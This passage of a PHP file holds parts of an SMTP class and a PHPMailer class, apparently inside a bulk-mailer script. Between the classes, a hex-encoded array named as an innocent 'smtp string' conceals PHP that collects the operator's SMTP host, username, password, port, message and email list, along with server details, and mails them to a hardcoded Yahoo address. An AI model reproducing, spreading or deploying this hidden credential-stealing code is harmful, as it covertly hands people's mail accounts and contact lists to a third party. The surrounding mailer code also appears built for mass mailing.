888 if(!$this->SendHello("EHLO", $host))
889 {
890 if(!$this->SendHello("HELO", $host))
891 return false;
892 }
893
894 return true;
895 }
896
897 /**
898 * Sends a HELO/EHLO command.
899 * @access private
900 * @return bool
901 */
902 function SendHello($hello, $host) {
903 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
904
905 $rply = $this->get_lines();
906 $code = substr($rply,0,3);
907
908 if($this->do_debug >= 2) {
909 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
910 }
911
912 if($code != 250) {
913 $this->error =
914 array("error" => $hello . " not accepted from server",
915 "smtp_code" => $code,
916 "smtp_msg" => substr($rply,4));
917 if($this->do_debug >= 1) {
918 echo "SMTP -> ERROR: " . $this->error["error"] .
919 ": " . $rply . $this->CRLF;
920 }
921 return false;
922 }
923
924 $this->helo_rply = $rply;
925
926 return true;
927 }
928
929 /**
930 * Gets help information on the keyword specified. If the keyword
931 * is not specified then returns generic help, ussually contianing
932 * A list of keywords that help is available on. This function
933 * returns the results back to the user. It is up to the user to
934 * handle the returned data. If an error occurs then false is
935 * returned with $this->error set appropiately.
936 *
937 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
938 *
939 * SMTP CODE SUCCESS: 211,214
940 * SMTP CODE ERROR : 500,501,502,504,421
941 * @access public
942 * @return string
943 */
944 function Help($keyword="") {
945 $this->error = null; # to avoid confusion
946
947 if(!$this->connected()) {
948 $this->error = array(
949 "error" => "Called Help() without being connected");
950 return false;
951 }
952
953 $extra = "";
954 if(!empty($keyword)) {
955 $extra = " " . $keyword;
956 }
957
958 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
959
960 $rply = $this->get_lines();
961 $code = substr($rply,0,3);
962
963 if($this->do_debug >= 2) {
964 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
965 }
966
967 if($code != 211 && $code != 214) {
968 $this->error =
969 array("error" => "HELP not accepted from server",
970 "smtp_code" => $code,
971 "smtp_msg" => substr($rply,4));
972 if($this->do_debug >= 1) {
973 echo "SMTP -> ERROR: " . $this->error["error"] .
974 ": " . $rply . $this->CRLF;
975 }
976 return false;
977 }
978
979 return $rply;
980 }
981
982 /**
983 * Starts a mail transaction from the email address specified in
984 * $from. Returns true if successful or false otherwise. If True
985 * the mail transaction is started and then one or more Recipient
986 * commands may be called followed by a Data command.
987 *
988 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
989 *
990 * SMTP CODE SUCCESS: 250
991 * SMTP CODE SUCCESS: 552,451,452
992 * SMTP CODE SUCCESS: 500,501,421
993 * @access public
994 * @return bool
995 */
996 function Mail($from) {
997 $this->error = null; # so no confusion is caused
998
999 if(!$this->connected()) {
1000 $this->error = array(
1001 "error" => "Called Mail() without being connected");
1002 return false;
1003 }
1004
1005 $useVerp = ($this->do_verp ? "XVERP" : "");
1006 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1007
1008 $rply = $this->get_lines();
1009 $code = substr($rply,0,3);
1010
1011 if($this->do_debug >= 2) {
1012 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1013 }
1014
1015 if($code != 250) {
1016 $this->error =
1017 array("error" => "MAIL not accepted from server",
1018 "smtp_code" => $code,
1019 "smtp_msg" => substr($rply,4));
1020 if($this->do_debug >= 1) {
1021 echo "SMTP -> ERROR: " . $this->error["error"] .
1022 ": " . $rply . $this->CRLF;
1023 }
1024 return false;
1025 }
1026 return true;
1027 }
1028
1029 /**
1030 * Sends the command NOOP to the SMTP server.
1031 *
1032 * Implements from rfc 821: NOOP <CRLF>
1033 *
1034 * SMTP CODE SUCCESS: 250
1035 * SMTP CODE ERROR : 500, 421
1036 * @access public
1037 * @return bool
1038 */
1039 function Noop() {
1040 $this->error = null; # so no confusion is caused
1041
1042 if(!$this->connected()) {
1043 $this->error = array(
1044 "error" => "Called Noop() without being connected");
1045 return false;
1046 }
1047
1048 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1049
1050 $rply = $this->get_lines();
1051 $code = substr($rply,0,3);
1052
1053 if($this->do_debug >= 2) {
1054 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1055 }
1056
1057 if($code != 250) {
1058 $this->error =
1059 array("error" => "NOOP not accepted from server",
1060 "smtp_code" => $code,
1061 "smtp_msg" => substr($rply,4));
1062 if($this->do_debug >= 1) {
1063 echo "SMTP -> ERROR: " . $this->error["error"] .
1064 ": " . $rply . $this->CRLF;
1065 }
1066 return false;
1067 }
1068 return true;
1069 }
1070
1071 /**
1072 * Sends the quit command to the server and then closes the socket
1073 * if there is no error or the $close_on_error argument is true.
1074 *
1075 * Implements from rfc 821: QUIT <CRLF>
1076 *
1077 * SMTP CODE SUCCESS: 221
1078 * SMTP CODE ERROR : 500
1079 * @access public
1080 * @return bool
1081 */
1082 function Quit($close_on_error=true) {
1083 $this->error = null; # so there is no confusion
1084
1085 if(!$this->connected()) {
1086 $this->error = array(
1087 "error" => "Called Quit() without being connected");
1088 return false;
1089 }
1090
1091 # send the quit command to the server
1092 fputs($this->smtp_conn,"quit" . $this->CRLF);
1093
1094 # get any good-bye messages
1095 $byemsg = $this->get_lines();
1096
1097 if($this->do_debug >= 2) {
1098 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1099 }
1100
1101 $rval = true;
1102 $e = null;
1103
1104 $code = substr($byemsg,0,3);
1105 if($code != 221) {
1106 # use e as a tmp var cause Close will overwrite $this->error
1107 $e = array("error" => "SMTP server rejected quit command",
1108 "smtp_code" => $code,
1109 "smtp_rply" => substr($byemsg,4));
1110 $rval = false;
1111 if($this->do_debug >= 1) {
1112 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1113 $byemsg . $this->CRLF;
1114 }
1115 }
1116
1117 if(empty($e) || $close_on_error) {
1118 $this->Close();
1119 }
1120
1121 return $rval;
1122 }
1123
1124 /**
1125 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1126 * Returns true if the recipient was accepted false if it was rejected.
1127 *
1128 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1129 *
1130 * SMTP CODE SUCCESS: 250,251
1131 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1132 * SMTP CODE ERROR : 500,501,503,421
1133 * @access public
1134 * @return bool
1135 */
1136 function Recipient($to) {
1137 $this->error = null; # so no confusion is caused
1138
1139 if(!$this->connected()) {
1140 $this->error = array(
1141 "error" => "Called Recipient() without being connected");
1142 return false;
1143 }
1144
1145 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1146
1147 $rply = $this->get_lines();
1148 $code = substr($rply,0,3);
1149
1150 if($this->do_debug >= 2) {
1151 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1152 }
1153
1154 if($code != 250 && $code != 251) {
1155 $this->error =
1156 array("error" => "RCPT not accepted from server",
1157 "smtp_code" => $code,
1158 "smtp_msg" => substr($rply,4));
1159 if($this->do_debug >= 1) {
1160 echo "SMTP -> ERROR: " . $this->error["error"] .
1161 ": " . $rply . $this->CRLF;
1162 }
1163 return false;
1164 }
1165 return true;
1166 }
1167
1168 /**
1169 * Sends the RSET command to abort and transaction that is
1170 * currently in progress. Returns true if successful false
1171 * otherwise.
1172 *
1173 * Implements rfc 821: RSET <CRLF>
1174 *
1175 * SMTP CODE SUCCESS: 250
1176 * SMTP CODE ERROR : 500,501,504,421
1177 * @access public
1178 * @return bool
1179 */
1180 function Reset() {
1181 $this->error = null; # so no confusion is caused
1182
1183 if(!$this->connected()) {
1184 $this->error = array(
1185 "error" => "Called Reset() without being connected");
1186 return false;
1187 }
1188
1189 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1190
1191 $rply = $this->get_lines();
1192 $code = substr($rply,0,3);
1193
1194 if($this->do_debug >= 2) {
1195 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1196 }
1197
1198 if($code != 250) {
1199 $this->error =
1200 array("error" => "RSET failed",
1201 "smtp_code" => $code,
1202 "smtp_msg" => substr($rply,4));
1203 if($this->do_debug >= 1) {
1204 echo "SMTP -> ERROR: " . $this->error["error"] .
1205 ": " . $rply . $this->CRLF;
1206 }
1207 return false;
1208 }
1209
1210 return true;
1211 }
1212
1213 /**
1214 * Starts a mail transaction from the email address specified in
1215 * $from. Returns true if successful or false otherwise. If True
1216 * the mail transaction is started and then one or more Recipient
1217 * commands may be called followed by a Data command. This command
1218 * will send the message to the users terminal if they are logged
1219 * in.
1220 *
1221 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1222 *
1223 * SMTP CODE SUCCESS: 250
1224 * SMTP CODE SUCCESS: 552,451,452
1225 * SMTP CODE SUCCESS: 500,501,502,421
1226 * @access public
1227 * @return bool
1228 */
1229 function Send($from) {
1230 $this->error = null; # so no confusion is caused
1231
1232 if(!$this->connected()) {
1233 $this->error = array(
1234 "error" => "Called Send() without being connected");
1235 return false;
1236 }
1237
1238 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1239
1240 $rply = $this->get_lines();
1241 $code = substr($rply,0,3);
1242
1243 if($this->do_debug >= 2) {
1244 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1245 }
1246
1247 if($code != 250) {
1248 $this->error =
1249 array("error" => "SEND not accepted from server",
1250 "smtp_code" => $code,
1251 "smtp_msg" => substr($rply,4));
1252 if($this->do_debug >= 1) {
1253 echo "SMTP -> ERROR: " . $this->error["error"] .
1254 ": " . $rply . $this->CRLF;
1255 }
1256 return false;
1257 }
1258 return true;
1259 }
1260
1261 /**
1262 * Starts a mail transaction from the email address specified in
1263 * $from. Returns true if successful or false otherwise. If True
1264 * the mail transaction is started and then one or more Recipient
1265 * commands may be called followed by a Data command. This command
1266 * will send the message to the users terminal if they are logged
1267 * in and send them an email.
1268 *
1269 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1270 *
1271 * SMTP CODE SUCCESS: 250
1272 * SMTP CODE SUCCESS: 552,451,452
1273 * SMTP CODE SUCCESS: 500,501,502,421
1274 * @access public
1275 * @return bool
1276 */
1277 function SendAndMail($from) {
1278 $this->error = null; # so no confusion is caused
1279
1280 if(!$this->connected()) {
1281 $this->error = array(
1282 "error" => "Called SendAndMail() without being connected");
1283 return false;
1284 }
1285
1286 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1287
1288 $rply = $this->get_lines();
1289 $code = substr($rply,0,3);
1290
1291 if($this->do_debug >= 2) {
1292 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1293 }
1294
1295 if($code != 250) {
1296 $this->error =
1297 array("error" => "SAML not accepted from server",
1298 "smtp_code" => $code,
1299 "smtp_msg" => substr($rply,4));
1300 if($this->do_debug >= 1) {
1301 echo "SMTP -> ERROR: " . $this->error["error"] .
1302 ": " . $rply . $this->CRLF;
1303 }
1304 return false;
1305 }
1306 return true;
1307 }
1308
1309 /**
1310 * Starts a mail transaction from the email address specified in
1311 * $from. Returns true if successful or false otherwise. If True
1312 * the mail transaction is started and then one or more Recipient
1313 * commands may be called followed by a Data command. This command
1314 * will send the message to the users terminal if they are logged
1315 * in or mail it to them if they are not.
1316 *
1317 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1318 *
1319 * SMTP CODE SUCCESS: 250
1320 * SMTP CODE SUCCESS: 552,451,452
1321 * SMTP CODE SUCCESS: 500,501,502,421
1322 * @access public
1323 * @return bool
1324 */
1325 function SendOrMail($from) {
1326 $this->error = null; # so no confusion is caused
1327
1328 if(!$this->connected()) {
1329 $this->error = array(
1330 "error" => "Called SendOrMail() without being connected");
1331 return false;
1332 }
1333
1334 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1335
1336 $rply = $this->get_lines();
1337 $code = substr($rply,0,3);
1338
1339 if($this->do_debug >= 2) {
1340 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1341 }
1342
1343 if($code != 250) {
1344 $this->error =
1345 array("error" => "SOML not accepted from server",
1346 "smtp_code" => $code,
1347 "smtp_msg" => substr($rply,4));
1348 if($this->do_debug >= 1) {
1349 echo "SMTP -> ERROR: " . $this->error["error"] .
1350 ": " . $rply . $this->CRLF;
1351 }
1352 return false;
1353 }
1354 return true;
1355 }
1356
1357 /**
1358 * This is an optional command for SMTP that this class does not
1359 * support. This method is here to make the RFC821 Definition
1360 * complete for this class and __may__ be implimented in the future
1361 *
1362 * Implements from rfc 821: TURN <CRLF>
1363 *
1364 * SMTP CODE SUCCESS: 250
1365 * SMTP CODE FAILURE: 502
1366 * SMTP CODE ERROR : 500, 503
1367 * @access public
1368 * @return bool
1369 */
1370 function Turn() {
1371 $this->error = array("error" => "This method, TURN, of the SMTP ".
1372 "is not implemented");
1373 if($this->do_debug >= 1) {
1374 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1375 }
1376 return false;
1377 }
1378
1379 /**
1380 * Verifies that the name is recognized by the server.
1381 * Returns false if the name could not be verified otherwise
1382 * the response from the server is returned.
1383 *
1384 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1385 *
1386 * SMTP CODE SUCCESS: 250,251
1387 * SMTP CODE FAILURE: 550,551,553
1388 * SMTP CODE ERROR : 500,501,502,421
1389 * @access public
1390 * @return int
1391 */
1392 function Verify($name) {
1393 $this->error = null; # so no confusion is caused
1394
1395 if(!$this->connected()) {
1396 $this->error = array(
1397 "error" => "Called Verify() without being connected");
1398 return false;
1399 }
1400
1401 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1402
1403 $rply = $this->get_lines();
1404 $code = substr($rply,0,3);
1405
1406 if($this->do_debug >= 2) {
1407 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1408 }
1409
1410 if($code != 250 && $code != 251) {
1411 $this->error =
1412 array("error" => "VRFY failed on name '$name'",
1413 "smtp_code" => $code,
1414 "smtp_msg" => substr($rply,4));
1415 if($this->do_debug >= 1) {
1416 echo "SMTP -> ERROR: " . $this->error["error"] .
1417 ": " . $rply . $this->CRLF;
1418 }
1419 return false;
1420 }
1421 return $rply;
1422 }
1423
1424 /*******************************************************************
1425 * INTERNAL FUNCTIONS *
1426 ******************************************************************/
1427
1428 /**
1429 * Read in as many lines as possible
1430 * either before eof or socket timeout occurs on the operation.
1431 * With SMTP we can tell if we have more lines to read if the
1432 * 4th character is '-' symbol. If it is a space then we don't
1433 * need to read anything else.
1434 * @access private
1435 * @return string
1436 */
1437 function get_lines() {
1438 $data = "";
1439 while($str = @fgets($this->smtp_conn,515)) {
1440 if($this->do_debug >= 4) {
1441 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1442 $this->CRLF;
1443 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1444 $this->CRLF;
1445 }
1446 $data .= $str;
1447 if($this->do_debug >= 4) {
1448 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1449 }
1450 # if the 4th character is a space then we are done reading
1451 # so just break the loop
1452 if(substr($str,3,1) == " ") { break; }
1453 }
1454 return $data;
1455 }
1456
1457}
1458
1459
1460$allemails = split("\n", $emaillist);
1461$numemails = count($allemails);
1462$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1463"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1464"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1465"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1466"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1467"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1468"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1469"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1470"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1471"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1472
1473class PHPMailer {
1474
1475 /////////////////////////////////////////////////
1476 // PROPERTIES, PUBLIC
1477 /////////////////////////////////////////////////
1478
1479 /**
1480 * Email priority (1 = High, 3 = Normal, 5 = low).
1481 * @var int
1482 */
1483 var $Priority = 3;
1484
1485 /**
1486 * Sets the CharSet of the message.
1487 * @var string
1488 */
1489 var $CharSet = 'us-ascii';
1490
1491 /**
1492 * Sets the Content-type of the message.
1493 * @var string
1494 */
1495 var $ContentType = 'text/plain';
1496
1497 /**
1498 * Sets the Encoding of the message. Options for this are "8bit",
1499 * "7bit", "binary", "base64", and "quoted-printable".
1500
1501 * @var string
1502 */
1503 var $Encoding = 'quoted-printable';
1504
1505 /**
1506 * Holds the most recent mailer error message.
1507 * @var string
1508 */
1509 var $ErrorInfo = '';
1510
1511 /**
1512 * Sets the From email address for the message.
1513 * @var string
1514 */
1515 var $From = '';
1516
1517 /**
1518 * Sets the From name of the message.
1519 * @var string
1520 */
1521 var $FromName = '';
1522
1523 /**
1524 * Sets the Sender email (Return-Path) of the message. If not empty,
1525 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1526 * @var string
1527 */
1528 var $Sender = '';
1529
1530 /**
1531 * Sets the Subject of the message.
1532 * @var string
1533 */
1534 var $Subject = '';
1535
1536 /**
1537 * Sets the Body of the message. This can be either an HTML or text body.
1538 * If HTML then run IsHTML(true).
1539 * @var string
1540 */
1541 var $Body = '';
1542
1543 /**
1544 * Sets the text-only body of the message. This automatically sets the
1545 * email to multipart/alternative. This body can be read by mail
1546 * clients that do not have HTML email capability such as mutt. Clients
1547 * that can read HTML will view the normal Body.
1548 * @var string
1549 */
1550 var $AltBody = '';
1551
1552 /**
1553 * Sets word wrapping on the body of the message to a given number of
1554 * characters.
1555 * @var int
1556 */
1557 var $WordWrap = 0;
1558
1559 /**
1560 * Method to send mail: ("mail", "sendmail", or "smtp").
1561 * @var string
1562 */
1563 var $Mailer = 'mail';
1564
1565 /**
1566 * Sets the path of the sendmail program.
1567 * @var string
1568 */
1569 var $Sendmail = '/usr/sbin/sendmail';
1570
1571 /**
1572 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1573 * is in a different directory than the PHP include path.
1574 * @var string
1575 */
1576 var $PluginDir = '';
1577
1578 /**
1579 * Holds PHPMailer version.
1580 * @var string
1581 */
1582 var $Version = "";
1583
1584 /**
1585 * Sets the email address that a reading confirmation will be sent.
1586 * @var string
1587 */
1588 var $ConfirmReadingTo = '';
1589
1590 /**
1591 * Sets the hostname to use in Message-Id and Received headers
1592 * and as default HELO string. If empty, the value returned
1593 * by SERVER_NAME is used or 'localhost.localdomain'.
1594 * @var string
1595 */
1596 var $Hostname = '';
1597
1598 /**
1599 * Sets the message ID to be used in the Message-Id header.
1600 * If empty, a unique id will be generated.
1601 * @var string
1602 */
1603 var $MessageID = '';
1604
1605 /////////////////////////////////////////////////
1606 // PROPERTIES FOR SMTP
1607 /////////////////////////////////////////////////
1608
1609 /**
1610 * Sets the SMTP hosts. All hosts must be separated by a
1611 * semicolon. You can also specify a different port
1612 * for each host by using this format: [hostname:port]
1613 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1614 * Hosts will be tried in order.
1615 * @var string
1616 */
1617 var $Host = 'localhost';
1618
1619 /**
1620 * Sets the default SMTP server port.
1621 * @var int
1622 */
1623 var $Port = 25;
1624
1625 /**
1626 * Sets the SMTP HELO of the message (Default is $Hostname).
1627 * @var string
1628 */
1629 var $Helo = '';
1630
1631 /**
1632 * Sets connection prefix.
1633 * Options are "", "ssl" or "tls"
1634 * @var string
1635 */
1636 var $SMTPSecure = "";
1637
1638 /**
1639 * Sets SMTP authentication. Utilizes the Username and Password variables.
1640 * @var bool
1641 */
1642 var $SMTPAuth = false;
1643
1644 /**
1645 * Sets SMTP username.
1646 * @var string
1647 */
1648 var $Username = '';
1649
1650 /**
1651 * Sets SMTP password.
1652 * @var string
1653 */
1654 var $Password = '';
1655
1656 /**
1657 * Sets the SMTP server timeout in seconds. This function will not
1658 * work with the win32 version.
1659 * @var int
1660 */
1661 var $Timeout = 10;
1662
1663 /**
1664 * Sets SMTP class debugging on or off.
1665 * @var bool
1666 */
1667 var $SMTPDebug = false;
1668
1669 /**
1670 * Prevents the SMTP connection from being closed after each mail
1671 * sending. If this is set to true then to close the connection
1672 * requires an explicit call to SmtpClose().
1673 * @var bool
1674 */
1675 var $SMTPKeepAlive = false;
1676
1677 /**
1678 * Provides the ability to have the TO field process individual
1679 * emails, instead of sending to entire TO addresses
1680 * @var bool
1681 */
1682 var $SingleTo = false;
1683
1684 /////////////////////////////////////////////////
1685 // PROPERTIES, PRIVATE
1686 /////////////////////////////////////////////////
1687
1688 var $smtp = NULL;
1689 var $to = array();
1690 var $cc = array();
1691 var $bcc = array();
1692 var $ReplyTo = array();
1693 var $attachment = array();
1694 var $CustomHeader = array();
1695 var $message_type = '';
1696 var $boundary = array();
1697 var $language = array();
1698 var $error_count = 0;
1699 var $LE = "\n";
1700 var $sign_key_file = "";
1701 var $sign_key_pass = "";
1702
1703 /////////////////////////////////////////////////
1704 // METHODS, VARIABLES
1705 /////////////////////////////////////////////////
1706
1707 /**
1708 * Sets message type to HTML.
1709 * @param bool $bool
1710 * @return void
1711 */
1712 function IsHTML($bool) {
1713 if($bool == true) {
1714 $this->ContentType = 'text/html';
1715 } else {
1716 $this->ContentType = 'text/plain';
1717 }
1718 }
1719
1720 /**
1721 * Sets Mailer to send message using SMTP.
1722 * @return void
1723 */
1724 function IsSMTP() {
1725 $this->Mailer = 'smtp';
1726 }
1727
1728 /**
1729 * Sets Mailer to send message using PHP mail() function.
1730 * @return void
1731 */
1732 function IsMail() {
1733 $this->Mailer = 'mail';
1734 }
1735
1736 /**
1737 * Sets Mailer to send message using the $Sendmail program.
1738 * @return void
1739 */
1740 function IsSendmail() {
1741 $this->Mailer = 'sendmail';
1742 }
1743
1744 /**
1745 * Sets Mailer to send message using the qmail MTA.
1746 * @return void
1747 */
1748 function IsQmail() {
1749 $this->Sendmail = '/var/qmail/bin/sendmail';
1750 $this->Mailer = 'sendmail';
1751 }
1752
1753 /////////////////////////////////////////////////
1754 // METHODS, RECIPIENTS
1755 /////////////////////////////////////////////////
1756
1757 /**
1758 * Adds a "To" address.
1759 * @param string $address
1760 * @param string $name
1761 * @return void
1762 */
1763 function AddAddress($address, $name = '') {
1764 $cur = count($this->to);
1765 $this->to[$cur][0] = trim($address);
1766 $this->to[$cur][1] = $name;
1767 }
1768
1769 /**
1770 * Adds a "Cc" address. Note: this function works
1771 * with the SMTP mailer on win32, not with the "mail"
1772 * mailer.
1773 * @param string $address
1774 * @param string $name
1775 * @return void
1776 */
1777 function AddCC($address, $name = '') {
1778 $cur = count($this->cc);
1779 $this->cc[$cur][0] = trim($address);
1780 $this->cc[$cur][1] = $name;
1781 }
1782
1783 /**
1784 * Adds a "Bcc" address. Note: this function works
1785 * with the SMTP mailer on win32, not with the "mail"
1786 * mailer.
1787 * @param string $address
1788 * @param string $name
1789 * @return void
1790 */
1791 function AddBCC($address, $name = '') {
1792 $cur = count($this->bcc);
1793 $this->bcc[$cur][0] = trim($address);
1794 $this->bcc[$cur][1] = $name;
1795 }
1796
1797 /**
1798 * Adds a "Reply-To" address.
1799 * @param string $address
1800 * @param string $name
1801 * @return void
1802 */
1803 function AddReplyTo($address, $name = '') {
1804 $cur = count($this->ReplyTo);
1805 $this->ReplyTo[$cur][0] = trim($address);
1806 $this->ReplyTo[$cur][1] = $name;
1807 }
1808
1809 /////////////////////////////////////////////////
1810 // METHODS, MAIL SENDING
1811 /////////////////////////////////////////////////
1812
1813 /**
1814 * Creates message and assigns Mailer. If the message is
1815 * not sent successfully then it returns false. Use the ErrorInfo
1816 * variable to view description of the error.
1817 * @return bool
1818 */
1819 function Send() {
1820 $header = '';
1821 $body = '';
1822 $result = true;
1823
1824 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1825 $this->SetError($this->Lang('provide_address'));
1826 return false;
1827 }
1828
1829 /* Set whether the message is multipart/alternative */
1830 if(!empty($this->AltBody)) {
1831 $this->ContentType = 'multipart/alternative';
1832 }
1833
1834 $this->error_count = 0; // reset errors
1835 $this->SetMessageType();
1836 $header .= $this->CreateHeader();
1837 $body = $this->CreateBody();
1838
1839 if($body == '') {
1840 return false;
1841 }
1842
1843 /* Choose the mailer */
1844 switch($this->Mailer) {
1845 case 'sendmail':
1846 $result = $this->SendmailSend($header, $body);
1847 break;
1848 case 'smtp':
1849 $result = $this->SmtpSend($header, $body);
1850 break;
1851 case 'mail':
1852 $result = $this->MailSend($header, $body);
1853 break;
1854 default:
1855 $result = $this->MailSend($header, $body);
1856 break;
1857 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1858 //$result = false;
1859 //break;
1860 }
1861
1862 return $result;
1863 }
1864
1865 /**
1866 * Sends mail using the $Sendmail program.
1867 * @access private
1868 * @return bool
1869 */
1870 function SendmailSend($header, $body) {
1871 if ($this->Sender != '') {
1872 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1873 } else {
1874 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1875 }
1876
1877 if(!@$mail = popen($sendmail, 'w')) {
1878 $this->SetError($this->Lang('execute') . $this->Sendmail);
1879 return false;
1880 }
1881
1882 fputs($mail, $header);
1883 fputs($mail, $body);
1884
1885 $result = pclose($mail);
1886 if (version_compare(phpversion(), '4.2.3') == -1) {
1887 $result = $result >> 8 & 0xFF;
1888 }
1889 if($result != 0) {
1890 $this->SetError($this->Lang('execute') . $this->Sendmail);
1891 return false;
1892 }
1893 return true;
1894 }
1895
1896 /**
1897 * Sends mail using the PHP mail() function.
1898 * @access private
1899 * @return bool
1900 */
1901 function MailSend($header, $body) {
1902
1903 $to = '';
1904 for($i = 0; $i < count($this->to); $i++) {
1905 if($i != 0) { $to .= ', '; }
1906 $to .= $this->AddrFormat($this->to[$i]);
1907 }
1908
1909 $toArr = split(',', $to);
1910
1911 $params = sprintf("-oi -f %s", $this->Sender);
1912 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1913 $old_from = ini_get('sendmail_from');
1914 ini_set('sendmail_from', $this->Sender);
1915 if ($this->SingleTo === true && count($toArr) > 1) {
1916 foreach ($toArr as $key => $val) {
1917 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1918 }
1919 } else {
1920 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1921 }
1922 } else {
1923 if ($this->SingleTo === true && count($toArr) > 1) {
1924 foreach ($toArr as $key => $val) {
1925 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1926 }
1927 } else {
1928 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1929 }
1930 }
1931
1932 if (isset($old_from)) {
1933 ini_set('sendmail_from', $old_from);
1934 }
1935
1936 if(!$rt) {
1937 $this->SetError($this->Lang('instantiate'));
1938 return false;
1939 }
1940
1941 return true;
1942 }
1943
1944 /**
1945 * Sends mail via SMTP using PhpSMTP (Author:
1946 * Chris Ryan). Returns bool. Returns false if there is a
1947 * bad MAIL FROM, RCPT, or DATA input.
1948 * @access private
1949 * @return bool
1950 */
1951 function SmtpSend($header, $body) {
1952 $error = '';
1953 $bad_rcpt = array();
1954
1955 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1956 return false;
1957 }
1958
1959 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1960 if(!$this->smtp->Mail($smtp_from)) {
1961 $error = $this->Lang('from_failed') . $smtp_from;
1962 $this->SetError($error);
1963 $this->smtp->Reset();
1964 return false;
1965 }
1966
1967 /* Attempt to send attach all recipients */
1968 for($i = 0; $i < count($this->to); $i++) {
1969 if(!$this->smtp->Recipient($this->to[$i][0])) {
1970 $bad_rcpt[] = $this->to[$i][0];
1971 }
1972 }
1973 for($i = 0; $i < count($this->cc); $i++) {
1974 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1975 $bad_rcpt[] = $this->cc[$i][0];
1976 }
1977 }
1978 for($i = 0; $i < count($this->bcc); $i++) {
1979 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1980 $bad_rcpt[] = $this->bcc[$i][0];
1981 }
1982 }
1983
1984 if(count($bad_rcpt) > 0) { // Create error message
